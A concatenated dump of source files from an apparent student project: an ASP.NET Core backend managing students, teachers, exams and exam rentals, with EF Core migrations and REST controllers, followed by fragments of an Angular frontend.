LockoutEnabled = table.Column<bool>(nullable: false),
LockoutEnd = table.Column<DateTimeOffset>(nullable: true),
NormalizedEmail = table.Column<string>(maxLength: 256, nullable: true),
NormalizedUserName = table.Column<string>(maxLength: 256, nullable: true),
PasswordHash = table.Column<string>(nullable: true),
PhoneNumber = table.Column<string>(nullable: true),
PhoneNumberConfirmed = table.Column<bool>(nullable: false),
SecurityStamp = table.Column<string>(nullable: true),
TwoFactorEnabled = table.Column<bool>(nullable: false),
UserName = table.Column<string>(maxLength: 256, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_AspNetUsers", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Courses",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
CourseNumber = table.Column<string>(nullable: true),
Degree = table.Column<int>(nullable: false),
Name = table.Column<string>(nullable: true),
StudyPath = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Courses", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Logins",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
Created = table.Column<DateTime>(nullable: false),
PasswordHash = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Logins", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Student",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
Approved = table.Column<bool>(nullable: false),
MatriculationNumber = table.Column<int>(nullable: false),
Name = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Student", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Teacher",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
Name = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Teacher", x => x.Id);
});
migrationBuilder.CreateTable(
name: "AspNetRoles",
columns: table => new
{
Id = table.Column<string>(nullable: false),
ConcurrencyStamp = table.Column<string>(nullable: true),
Name = table.Column<string>(maxLength: 256, nullable: true),
NormalizedName = table.Column<string>(maxLength: 256, nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_AspNetRoles", x => x.Id);
});
migrationBuilder.CreateTable(
name: "AspNetUserTokens",
columns: table => new
{
UserId = table.Column<string>(nullable: false),
LoginProvider = table.Column<string>(nullable: false),
Name = table.Column<string>(nullable: false),
Value = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_AspNetUserTokens", x => new { x.UserId, x.LoginProvider, x.Name });
});
migrationBuilder.CreateTable(
name: "AspNetUserClaims",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
ClaimType = table.Column<string>(nullable: true),
ClaimValue = table.Column<string>(nullable: true),
UserId = table.Column<string>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_AspNetUserClaims", x => x.Id);
table.ForeignKey(
name: "FK_AspNetUserClaims_AspNetUsers_UserId",
column: x => x.UserId,
principalTable: "AspNetUsers",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "AspNetUserLogins",
columns: table => new
{
LoginProvider = table.Column<string>(nullable: false),
ProviderKey = table.Column<string>(nullable: false),
ProviderDisplayName = table.Column<string>(nullable: true),
UserId = table.Column<string>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_AspNetUserLogins", x => new { x.LoginProvider, x.ProviderKey });
table.ForeignKey(
name: "FK_AspNetUserLogins_AspNetUsers_UserId",
column: x => x.UserId,
principalTable: "AspNetUsers",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "Exam",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
CourseId = table.Column<int>(nullable: false),
Grade = table.Column<double>(nullable: false),
Period = table.Column<int>(nullable: false),
Semester = table.Column<string>(nullable: true),
TeacherId = table.Column<int>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Exam", x => x.Id);
table.ForeignKey(
name: "FK_Exam_Courses_CourseId",
column: x => x.CourseId,
principalTable: "Courses",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_Exam_Teacher_TeacherId",
column: x => x.TeacherId,
principalTable: "Teacher",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "AspNetRoleClaims",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
ClaimType = table.Column<string>(nullable: true),
ClaimValue = table.Column<string>(nullable: true),
RoleId = table.Column<string>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_AspNetRoleClaims", x => x.Id);
table.ForeignKey(
name: "FK_AspNetRoleClaims_AspNetRoles_RoleId",
column: x => x.RoleId,
principalTable: "AspNetRoles",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "AspNetUserRoles",
columns: table => new
{
UserId = table.Column<string>(nullable: false),
RoleId = table.Column<string>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_AspNetUserRoles", x => new { x.UserId, x.RoleId });
table.ForeignKey(
name: "FK_AspNetUserRoles_AspNetRoles_RoleId",
column: x => x.RoleId,
principalTable: "AspNetRoles",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_AspNetUserRoles_AspNetUsers_UserId",
column: x => x.UserId,
principalTable: "AspNetUsers",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "Rent",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("Autoincrement", true),
EndDate = table.Column<DateTime>(nullable: false),
ExamId = table.Column<int>(nullable: false),
StartDate = table.Column<DateTime>(nullable: false),
StudentId = table.Column<int>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Rent", x => x.Id);
table.ForeignKey(
name: "FK_Rent_Exam_ExamId",
column: x => x.ExamId,
principalTable: "Exam",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_Rent_Student_StudentId",
column: x => x.StudentId,
principalTable: "Student",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateIndex(
name: "EmailIndex",
table: "AspNetUsers",
column: "NormalizedEmail");
migrationBuilder.CreateIndex(
name: "UserNameIndex",
table: "AspNetUsers",
column: "NormalizedUserName",
unique: true);
migrationBuilder.CreateIndex(
name: "IX_Exam_CourseId",
table: "Exam",
column: "CourseId");
migrationBuilder.CreateIndex(
name: "IX_Exam_TeacherId",
table: "Exam",
column: "TeacherId");
migrationBuilder.CreateIndex(
name: "IX_Rent_ExamId",
table: "Rent",
column: "ExamId");
migrationBuilder.CreateIndex(
name: "IX_Rent_StudentId",
table: "Rent",
column: "StudentId");
migrationBuilder.CreateIndex(
name: "RoleNameIndex",
table: "AspNetRoles",
column: "NormalizedName");
migrationBuilder.CreateIndex(
name: "IX_AspNetRoleClaims_RoleId",
table: "AspNetRoleClaims",
column: "RoleId");
migrationBuilder.CreateIndex(
name: "IX_AspNetUserClaims_UserId",
table: "AspNetUserClaims",
column: "UserId");
migrationBuilder.CreateIndex(
name: "IX_AspNetUserLogins_UserId",
table: "AspNetUserLogins",
column: "UserId");
migrationBuilder.CreateIndex(
name: "IX_AspNetUserRoles_RoleId",
table: "AspNetUserRoles",
column: "RoleId");
migrationBuilder.CreateIndex(
name: "IX_AspNetUserRoles_UserId",
table: "AspNetUserRoles",
column: "UserId");
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropTable(
name: "Logins");
migrationBuilder.DropTable(
name: "Rent");
migrationBuilder.DropTable(
name: "AspNetRoleClaims");
migrationBuilder.DropTable(
name: "AspNetUserClaims");
migrationBuilder.DropTable(
name: "AspNetUserLogins");
migrationBuilder.DropTable(
name: "AspNetUserRoles");
migrationBuilder.DropTable(
name: "AspNetUserTokens");
migrationBuilder.DropTable(
name: "Exam");
migrationBuilder.DropTable(
name: "Student");
migrationBuilder.DropTable(
name: "AspNetRoles");
migrationBuilder.DropTable(
name: "AspNetUsers");
migrationBuilder.DropTable(
name: "Courses");
migrationBuilder.DropTable(
name: "Teacher");
}
}
}
<file_sep>using Microsoft.AspNetCore.Mvc;
using System.Text.Encodings.Web;
using System.Threading.Tasks;
using System.Linq;
using Microsoft.EntityFrameworkCore;
using luis_beuth.Models;
using luis_beuth.Models.Data;
using luis_beuth.Services;
using luis_beuth.Data;
using Microsoft.AspNetCore.Authorization;
namespace luis_beuth.Controllers
{
public class StudentController : Controller
{
private ApplicationDbContext _context;
public StudentController (ApplicationDbContext context)
{
this._context = context;
}
// GET: Students
[Authorize]
public async Task<IActionResult> Index()
{
return View(await this._context.Student.ToListAsync());
}
public IActionResult Create()
{
return View();
}
[Authorize]
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Create([Bind("Name,MatriculationNumber,Approved")] Student student)
{
try
{
if (ModelState.IsValid)
{
this._context.Add(student);
await _context.SaveChangesAsync();
return RedirectToAction("Index");
}
}
catch (DbUpdateException /* ex */)
{
//Log the error (uncomment ex variable name and write a log.
ModelState.AddModelError("", "Unable to save changes. " +
"Try again, and if the problem persists " +
"see your system administrator.");
}
return View(student);
}
// GET: student/Edit/5
[Authorize]
public async Task<IActionResult> Edit(int? id)
{
if (id == null)
{
return NotFound();
}
var student = await this._context.Student.SingleAsync(p => p.Id == id);
if (student == null)
{
return NotFound();
}
return View(student);
}
[Authorize]
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Edit(int id, [Bind("Id,Name,MatriculationNumber,Approved")] Student student)
{
if (id != student.Id)
{
return NotFound();
}
if (ModelState.IsValid)
{
try
{
this._context.Update(student);
await _context.SaveChangesAsync();
}
catch (DbUpdateConcurrencyException)
{
if (!this.StudentExists(student.Id))
{
return NotFound();
}
else
{
throw;
}
}
return RedirectToAction("Index");
}
return View(student);
}
[Authorize]
public async Task<IActionResult> Delete(int? id)
{
if (id == null)
{
return NotFound();
}
var student = await _context.Student.SingleOrDefaultAsync(p => p.Id == id);
if (student == null)
{
return NotFound();
}
return View(student);
}
// POST: Student/Delete/5
[Authorize]
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public async Task<IActionResult> DeleteConfirmed(int id)
{
var student = await _context.Student.SingleOrDefaultAsync(p => p.Id == id);
this._context.Student.Remove(student);
await _context.SaveChangesAsync();
return RedirectToAction("Index");
}
[Authorize]
private bool StudentExists(int id)
{
return this._context.Student.Any(p => p.Id == id);
}
}
}<file_sep>using Microsoft.AspNetCore.Mvc.Rendering;
using luis_beuth.Models.Data;
using System.ComponentModel.DataAnnotations;
namespace luis_beuth.Models.ExamViewModels
{
public class CreateExamViewModel
{
public int Id { get; set; }
public SelectList Teachers { get; set; }
[Display(Name = "Dozent")]
public int TeacherId { get; set; }
[Display(Name = "Dozentenname")]
public string NewTeacherName { get; set; }
public PeriodViewModel[] Periods { get; set; }
[Display(Name = "Prüfungszeitraum")]
public Period Period { get; set; }
[Display(Name = "Note")]
public double Grade { get; set; }
public SelectList Courses { get; set; }
[Display(Name = "Modul")]
public int CourseId { get; set; }
[Display(Name = "Modulname")]
public string NewCourseName { get; set; }
public string Semester { get; set; }
}
public class PeriodViewModel
{
public Period Period { get; set; }
public string Name { get; set; }
}
}<file_sep>using Microsoft.AspNetCore.Mvc;
using System.Text.Encodings.Web;
using luis_beuth.Models;
using luis_beuth.Models.Data;
using luis_beuth.Services;
using luis_beuth.Data;
using System.Linq;
using System.Collections.Generic;
using Microsoft.EntityFrameworkCore;
namespace luis_beuth.Controllers
{
[Route("api/exam")]
public class ApiExamController : Controller
{
private ApplicationDbContext _context;
public ApiExamController (ApplicationDbContext context)
{
this._context = context;
}
//
// GET: /Exam/
[HttpGet]
public IEnumerable<Exam> Get()
{
return _context.Exam.Include(a => a.Course).Include(t => t.Teacher).ToList();
}
//
// GET: /Exam/{Id}/
[HttpGet("{id}")]
public Exam GetById(int id)
{
return _context.Exam.Include(a => a.Course).Include(t => t.Teacher).FirstOrDefault(p => p.Id == id);
}
}
}<file_sep>using System.Linq;
using System.Threading.Tasks;
using luis_beuth.Data;
using luis_beuth.Models.Data;
using luis_beuth.Models.ExamViewModels;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.Rendering;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Logging;
using Microsoft.AspNetCore.Authorization;
namespace luis_beuth.Controllers
{
public class ExamController : Controller
{
private readonly ApplicationDbContext _context;
private readonly ILogger<ExamController> _logger;
public ExamController(ApplicationDbContext context, ILogger<ExamController> logger)
{
_context = context;
_logger = logger;
}
// GET: Exams
[Authorize]
public async Task<IActionResult> Index()
{
var exams = await _context.Exam.Include(val => val.Teacher).Include(val => val.Course).ToListAsync();
return View(exams);
}
[Authorize]
public IActionResult Create()
{
var model = new CreateExamViewModel();
SetSelectors(model);
return View(model);
}
[Authorize]
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Create([Bind] CreateExamViewModel examViewModel)
{
// _logger.LogDebug(exam.ToString());
try
{
if (ModelState.IsValid)
{
var exam = new Exam
{
Semester = examViewModel.Semester,
Grade = examViewModel.Grade
};
if (examViewModel.TeacherId != -1)
{
exam.TeacherId = examViewModel.TeacherId;
}
else
{
exam.Teacher = new Teacher {Name = examViewModel.NewTeacherName};
}
if (examViewModel.CourseId != -1)
{
exam.CourseId = examViewModel.CourseId;
}
else
{
exam.Course = new Course {Name = examViewModel.NewCourseName};
}
_context.Add(exam);
await _context.SaveChangesAsync();
return RedirectToAction("Index");
}
}
catch (DbUpdateException ex)
{
_logger.LogError(new EventId(42), ex, ex.Message);
//Log the error (uncomment ex variable name and write a log.
ModelState.AddModelError("", "Unable to save changes. " +
"Try again, and if the problem persists " +
"see your system administrator.");
}
SetSelectors(examViewModel);
return View(examViewModel);
}
private void SetSelectors(CreateExamViewModel examViewModel)
{
var teachers = _context.Teacher.ToList().Concat(new[]
{
new Teacher
{
Id = -1,
Name = "<NAME>"
}
});
var courses = _context.Courses.ToList().Concat(new[]
{
new Course
{
Id = -1,
Name = "<NAME>"
}
});
examViewModel.Teachers = new SelectList(teachers, "Id", "Name");
examViewModel.Courses = new SelectList(courses, "Id", "Name");
examViewModel.Periods = new[]
{
new PeriodViewModel {Period = Period.First, Name = "Erster Prüfungszeitraum"},
new PeriodViewModel {Period = Period.Second, Name = "Zweiter Prüfungszeitraum"}
};
}
// GET: exam/Edit/5
[Authorize]
public async Task<IActionResult> Edit(int? id)
{
if (id == null)
{
return NotFound();
}
var exam = await _context.Exam.SingleAsync(p => p.Id == id);
if (exam == null)
{
return NotFound();
}
return View(exam);
}
[Authorize]
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Edit(int id, [Bind] CreateExamViewModel exam)
{
if (id != exam.Id)
{
return NotFound();
}
if (ModelState.IsValid)
{
try
{
_context.Update(exam);
await _context.SaveChangesAsync();
}
catch (DbUpdateConcurrencyException)
{
if (!ExamExists(exam.Id))
{
return NotFound();
}
throw;
}
return RedirectToAction("Index");
}
return View(exam);
}
public async Task<IActionResult> Delete(int? id)
{
if (id == null)
{
return NotFound();
}
var exam = await _context.Exam.SingleOrDefaultAsync(p => p.Id == id);
if (exam == null)
{
return NotFound();
}
return View(exam);
}
[Authorize]
// POST: Exam/Delete/5
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public async Task<IActionResult> DeleteConfirmed(int id)
{
var exam = await _context.Exam.SingleOrDefaultAsync(p => p.Id == id);
_context.Exam.Remove(exam);
await _context.SaveChangesAsync();
return RedirectToAction("Index");
}
private bool ExamExists(int id)
{
return _context.Exam.Any(p => p.Id == id);
}
}
}
<file_sep>using Microsoft.AspNetCore.Mvc;
using System.Text.Encodings.Web;
using System.Threading.Tasks;
using System.Linq;
using Microsoft.EntityFrameworkCore;
using luis_beuth.Models;
using luis_beuth.Models.Data;
using luis_beuth.Services;
using luis_beuth.Data;
using Microsoft.AspNetCore.Authorization;
namespace luis_beuth.Controllers
{
public class TeacherController : Controller
{
private ApplicationDbContext _context;
public TeacherController (ApplicationDbContext context)
{
this._context = context;
}
// GET: Teachers
[Authorize]
public async Task<IActionResult> Index()
{
return View(await this._context.Teacher.ToListAsync());
}
[Authorize]
public IActionResult Create()
{
return View();
}
[Authorize]
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Create([Bind("Name")] Teacher teacher)
{
try
{
if (ModelState.IsValid)
{
this._context.Add(teacher);
await _context.SaveChangesAsync();
return RedirectToAction("Index");
}
}
catch (DbUpdateException /* ex */)
{
//Log the error (uncomment ex variable name and write a log.
ModelState.AddModelError("", "Unable to save changes. " +
"Try again, and if the problem persists " +
"see your system administrator.");
}
return View(teacher);
}
// GET: Teacher/Edit/5
[Authorize]
public async Task<IActionResult> Edit(int? id)
{
if (id == null)
{
return NotFound();
}
var teacher = await this._context.Teacher.SingleAsync(p => p.Id == id);
if (teacher == null)
{
return NotFound();
}
return View(teacher);
}
[Authorize]
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Edit(int id, [Bind("Id,Name")] Teacher teacher)
{
if (id != teacher.Id)
{
return NotFound();
}
if (ModelState.IsValid)
{
try
{
this._context.Update(teacher);
await _context.SaveChangesAsync();
}
catch (DbUpdateConcurrencyException)
{
if (!this.TeacherExists(teacher.Id))
{
return NotFound();
}
else
{
throw;
}
}
return RedirectToAction("Index");
}
return View(teacher);
}
[Authorize]
public async Task<IActionResult> Delete(int? id)
{
if (id == null)
{
return NotFound();
}
var teacher = await _context.Teacher.SingleOrDefaultAsync(p => p.Id == id);
if (teacher == null)
{
return NotFound();
}
return View(teacher);
}
// POST: Teacher/Delete/5
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public async Task<IActionResult> DeleteConfirmed(int id)
{
var teacher = await _context.Teacher.SingleOrDefaultAsync(p => p.Id == id);
this._context.Teacher.Remove(teacher);
await _context.SaveChangesAsync();
return RedirectToAction("Index");
}
[Authorize]
private bool TeacherExists(int id)
{
return this._context.Teacher.Any(p => p.Id == id);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using luis_beuth.Data;
using luis_beuth.Models.Data;
using Microsoft.EntityFrameworkCore;
namespace luis_beuth.Controllers
{
[Route("api/rent")]
public class ApiRentController : Controller
{
private ApplicationDbContext _context;
public ApiRentController(ApplicationDbContext context)
{
this._context = context;
}
// GET: /api/rent/
[HttpGet]
public IEnumerable<Rent> Get()
{
return _context.Rent
.Where(val => val.ReturnedAt == null)
.Include(s => s.Student)
.Include(e => e.Exam)
.ToList();
}
// GET: /api/rent/{StudentId}/
[HttpGet("{id}")]
public IEnumerable<Rent> GetById(int id)
{
return _context.Rent
.Where(val => val.ReturnedAt == null)
.Include(s => s.Student).Include(e => e.Exam)
.ToList()
.FindAll(p => p.Student.MatriculationNumber == id)
.ToList();
}
// POST: /api/rent/
[HttpPost]
public IActionResult Post([FromBody]Rent newRent)
{
if ((newRent?.Student?.MatriculationNumber <= 0) || newRent?.ExamId <= 0)
{
return BadRequest();
}
if(newRent.ReturnedAt != null)
return BadRequest();
var today = DateTime.Now;
newRent.StartDate = today;
newRent.EndDate = today.AddDays(14);
newRent.StudentId = _context.Student.FirstOrDefault(i => i.MatriculationNumber == newRent.Student.MatriculationNumber).Id;
_context.Rent.Add(newRent);
_context.SaveChanges();
return NoContent();
}
// PUT api/rent
[HttpPut]
public IActionResult Put([FromBody]Rent newRent)
{
var rent = _context.Rent.FirstOrDefault(r => r.ExamId == newRent.ExamId);
if (rent == null)
return StatusCode(218); //NotFound();
rent.ReturnedAt = DateTime.Now;
_context.Rent.Update(rent);
_context.SaveChanges();
return Ok();
}
// DELETE by rentId
[HttpDelete("{id}")]
public IActionResult Delete(int id)
{
var rent = _context.Rent.FirstOrDefault(val => val.Id == id);
if (rent == null)
return NotFound();
rent.ReturnedAt = DateTime.Now;
_context.SaveChanges();
return Ok();
}
}
}
<file_sep># LUIS Backend for an inventary system
Frontend App can be found at luis_beuth_mobile.
## Build and Run
dotnet build
dotnet run
<file_sep>using System;
namespace luis_beuth.Models.LoginViewModels
{
public class CreateLoginModel
{
public int Id { get; set; }
public string NewPassword { get; set;}
public DateTime Created { get; set; }
}
}<file_sep>using Microsoft.AspNetCore.Mvc;
using luis_beuth.Models.Data;
using luis_beuth.Data;
using luis_beuth.Models.ApiStudentModels;
using System.Linq;
using System.Collections.Generic;
using System.Threading.Tasks;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Logging;
using Microsoft.AspNetCore.Authorization;
namespace luis_beuth.Controllers
{
[Route("api/student")]
public class ApiStudentController : Controller
{
private ApplicationDbContext _context;
private readonly ILogger<ApiStudentController> _logger;
public ApiStudentController (ApplicationDbContext context, ILogger<ApiStudentController> logger)
{
_context = context;
_logger = logger;
}
//
// GET: /Student/
[HttpGet]
public IEnumerable<Student> Get()
{
return _context.Student.ToList();
}
//
// GET: /Student/{Id}/
[HttpGet("{id}")]
public IActionResult GetById(int id)
{
var found = _context.Student.FirstOrDefault(p => p.Id == id);
if (found == null)
{
return NotFound();
}
return new ObjectResult(found);
}
// POST /api/student
[HttpPost]
public IActionResult Post([FromBody]Student newStudent)
{
if (string.IsNullOrWhiteSpace(newStudent.Name) || newStudent.MatriculationNumber <= 0 )
{
return BadRequest();
}
_context.Student.Add(newStudent);
_context.SaveChanges();
return NoContent();
}
// PUT api/student/5
[HttpPut("{id}")]
public IActionResult Put(int id, [FromBody]Student student)
{
if (student == null /*|| student.id != id*/) // optional: Prüfung ob id des Studenten der übermittelt wird gleich der id in der Route ist
{
return BadRequest();
}
var studentToUpdate = _context.Student.FirstOrDefault(p => p.Id == id);
if (studentToUpdate == null)
{
return NotFound();
}
// studentToUpdate.Id is created by database
studentToUpdate.Name = student.Name;
studentToUpdate.MatriculationNumber = student.MatriculationNumber;
studentToUpdate.Approved = false; // only via Web Interface
_context.SaveChanges();
return NoContent();
}
// DELETE api/student/5
[HttpDelete("{id}")]
public IActionResult Delete(int id)
{
var studentToDelete = _context.Student.FirstOrDefault(p => p.Id == id);
if (studentToDelete == null)
{
return NotFound();
}
_context.Student.Remove(studentToDelete);
_context.SaveChanges();
return NoContent();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using Microsoft.EntityFrameworkCore.Migrations;
namespace luis_beuth.Migrations
{
public partial class AddedReturnedAtToRent : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.AddColumn<DateTime>(
name: "ReturnedAt",
table: "Rent",
nullable: true);
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropColumn(
name: "ReturnedAt",
table: "Rent");
}
}
}
<file_sep>
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace luis_beuth.Models.Data
{
public enum Period
{
First,
Second
}
public class Exam
{
public int Id { get; set; }
public string Semester { get; set;}
[Display(Name = "Dozent")]
public int TeacherId { get; set; }
[Display(Name = "Dozent")]
public Teacher Teacher { get; set; }
[Display(Name = "Modul")]
public int CourseId { get; set; }
[Display(Name = "Modul")]
public Course Course { get; set; }
[Display(Name = "Prüfungszeitraum")]
public Period Period { get; set; }
[Display(Name = "Note")]
public double Grade { get; set; }
}
}
|
13ce35fab5784cc471a2d5ba9a5f9b30b0c87ce5
|
[
"JavaScript",
"C#",
"Markdown"
] | 16
|
JavaScript
|
SandraAhlgrimm/luis_beuth
|
90aa1cee169d686d1550390365e19b1a90064baf
|
1b434bf40bcb493726242e5f1fbaf00551c5bf99
|
refs/heads/master
|
<file_sep>import { NgLocalization } from '@angular/common';
import { Injectable } from '@angular/core';
import { Meta, Title } from '@angular/platform-browser';
import _ from 'lodash';
@Injectable()
export class SeoService {
_prefix: string;
_title: string
constructor(private title: Title, meta: Meta) {
if (window.location.protocol === 'https:') {
//<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
meta.addTag({
name: 'Content-Security-Policy',
'http-equiv': 'Content-Security-Policy',
content: 'upgrade-insecure-requests'
})
}
}
prefix(value: string) {
this._prefix = value;
this.show();
return this;
}
set(title: string) {
this._title = title;
this.show();
return this;
}
private show() {
if (this._title === null || this._title === undefined || this._title === '') {
this.title.setTitle(`${this._prefix}`);
return;
}
this.title.setTitle(`${this._title} - ${this._prefix}`);
}
}
<file_sep>import { Component } from '@angular/core';
import { ActivatedRoute, Router } from '@angular/router';
import { ModalService, SeoService } from 'src/services';
import _ from 'lodash';
import { Utils } from 'src/app/utils';
import { RegEventComponent } from 'src/app/dialogs';
@Component({
selector: 'app-events',
templateUrl: './events.component.html',
styleUrls: ['./events.component.scss']
})
export class EventsComponent {
constructor(seo: SeoService, private modal: ModalService, private route: ActivatedRoute, private router: Router) {
seo.set('Sự kiện')
route.data.subscribe((data) => {
this.posts = _.get(data, 'posts.models') || [];
this.count = _.get(data, 'posts.count') || 0;
})
route.queryParamMap.subscribe((map) => {
this.page = +map.get('p') || 1
})
}
page: number
changed($event: number) {
this.router.navigate([], {
relativeTo: this.route,
queryParams: { p: $event },
queryParamsHandling: 'merge'
})
}
posts: Array<any>
count: number
seo(title: string, code: string) {
return `${Utils.toSeo(title)}-${code}`
}
register(post) {
var modal = this.modal.shown(RegEventComponent)
modal.componentInstance.post = post
}
}
<file_sep>import { Component, Self } from '@angular/core';
import { LocalizeProvider } from 'src/providers';
import { LocalizeService } from 'src/services';
import { LOCALIZE } from './header.lang';
import { NewsCategoryApi } from '../../apis/news-category.api';
import { Router } from '@angular/router'
import { Utils } from 'src/app/utils';
@Component({
selector: 'app-header',
templateUrl: './header.component.html',
styleUrls: ['./header.component.scss'],
viewProviders: [LocalizeProvider]
})
export class HeaderComponent {
constructor(private localize: LocalizeService, @Self() provider: LocalizeProvider, private api: NewsCategoryApi, private router: Router) {
provider.set(LOCALIZE)
}
model: any = {};
search() {
// if (this.localize.lang === 'vi') {
// this.localize.set('en');
// return;
// }
// this.localize.set('vi');
if (Utils.isStringNotEmpty(this.model.keyword)) {
this.router.navigateByUrl(`/thong-tin-tim-kiem/${Utils.parseToEnglish(this.model.keyword)}`);
this.model.keyword = '';
}
}
}
<file_sep>import { RemoveDomDirective } from './remove-dom.directive';
export const DIRECTIVES = [
RemoveDomDirective
];
<file_sep>import { Component } from '@angular/core';
import { ActivatedRoute } from '@angular/router';
import { SeoService } from 'src/services';
import _ from 'lodash';
import { environment } from '@env';
@Component({
selector: 'app-publication',
templateUrl: './publication.component.html',
styleUrls: ['./publication.component.scss']
})
export class PublicationComponent {
constructor(seo: SeoService, route: ActivatedRoute) {
seo.set('Thông tin xuất bản')
route.data.subscribe((data) => {
this.post = _.get(data, 'post');
})
}
post: any
download() {
let url = _.get(this.post, 'url')
const link = `${environment.api_url}/${url}`
window.open(link)
}
download_source() {
let url = _.get(this.post, 'source')
window.open(url)
}
}
<file_sep>import { LocalizePipe } from './localize.pipe';
import { LinkPipe } from './link.pipe';
import {
IsArrayEmpty,
IsArrayNotEmpty,
IsStringEmpty,
IsStringNotEmpty
} from './checking.pipe';
export { LocalizePipe } from './localize.pipe';
export { LinkPipe } from './link.pipe';
export {
IsArrayEmpty,
IsArrayNotEmpty,
IsStringEmpty,
IsStringNotEmpty
} from './checking.pipe';
export const PIPES = [
LocalizePipe,
LinkPipe,
IsArrayEmpty,
IsArrayNotEmpty,
IsStringEmpty,
IsStringNotEmpty,
]<file_sep>import { EventEmitter, Injectable } from '@angular/core';
import { environment } from '@env';
import { StorageService } from './storage.service';
@Injectable()
export class LocalizeService {
public lang: string;
public changed = new EventEmitter();
constructor(private storage: StorageService) {
this.lang = <string>storage.resolve('lang') || 'vi'
}
set(lang: string) {
this.lang = <string>this.storage.resolve('lang', lang)
this.changed.emit()
}
}
<file_sep>import { Component, Input, } from '@angular/core';
@Component({
selector: 'nav-menu',
templateUrl: './nav-menu.component.html',
styleUrls: ['./nav-menu.component.scss']
})
export class NavMenuComponent {
@Input("models") models: Array<any>
@Input("path") path: string
}
<file_sep>import { MenuResolve, BannerResolve } from './menu.resolver';
import { PublicationPostResolve, PublicationPostsResolve } from './publication.resolver';
import { EventPostResolve, EventPostsResolve, EventHomeDataResolve } from './event.resolver';
import { NewsPostResolve, NewsPostsResolve } from './news.resolver';
import { ProjectPostResolve, ProjectPostsResolve } from './project.resolver';
import { EducationPostResolve, EducationPostsResolve } from './education.resolver';
import { NewsCategoryResolve } from './news-category.resolver';
export { MenuResolve, BannerResolve } from './menu.resolver';
export { PublicationPostResolve, PublicationPostsResolve } from './publication.resolver';
export { EventPostResolve, EventPostsResolve, EventHomeDataResolve } from './event.resolver';
export { NewsPostResolve, NewsPostsResolve } from './news.resolver';
export { ProjectPostResolve, ProjectPostsResolve } from './project.resolver';
export { EducationPostResolve, EducationPostsResolve } from './education.resolver';
export { NewsCategoryResolve } from './news-category.resolver';
export const RESOLVERS = [
MenuResolve,
PublicationPostResolve,
PublicationPostsResolve,
EventPostResolve,
EventPostsResolve,
EventHomeDataResolve,
NewsPostResolve,
NewsPostsResolve,
BannerResolve,
ProjectPostResolve,
ProjectPostsResolve,
EducationPostResolve,
EducationPostsResolve,
NewsCategoryResolve
];
<file_sep>import { HttpClient, HttpResponse } from '@angular/common/http';
import * as _ from 'lodash';
export class HttpWrapper {
constructor(public http: HttpClient, public baseURL: string) {
}
fetch(page: number, quantity: number, query: string = '') {
const url = this.baseURL + `/fetch/${page}/${quantity}/${query}`;
return this.http.get(url).toPromise();
}
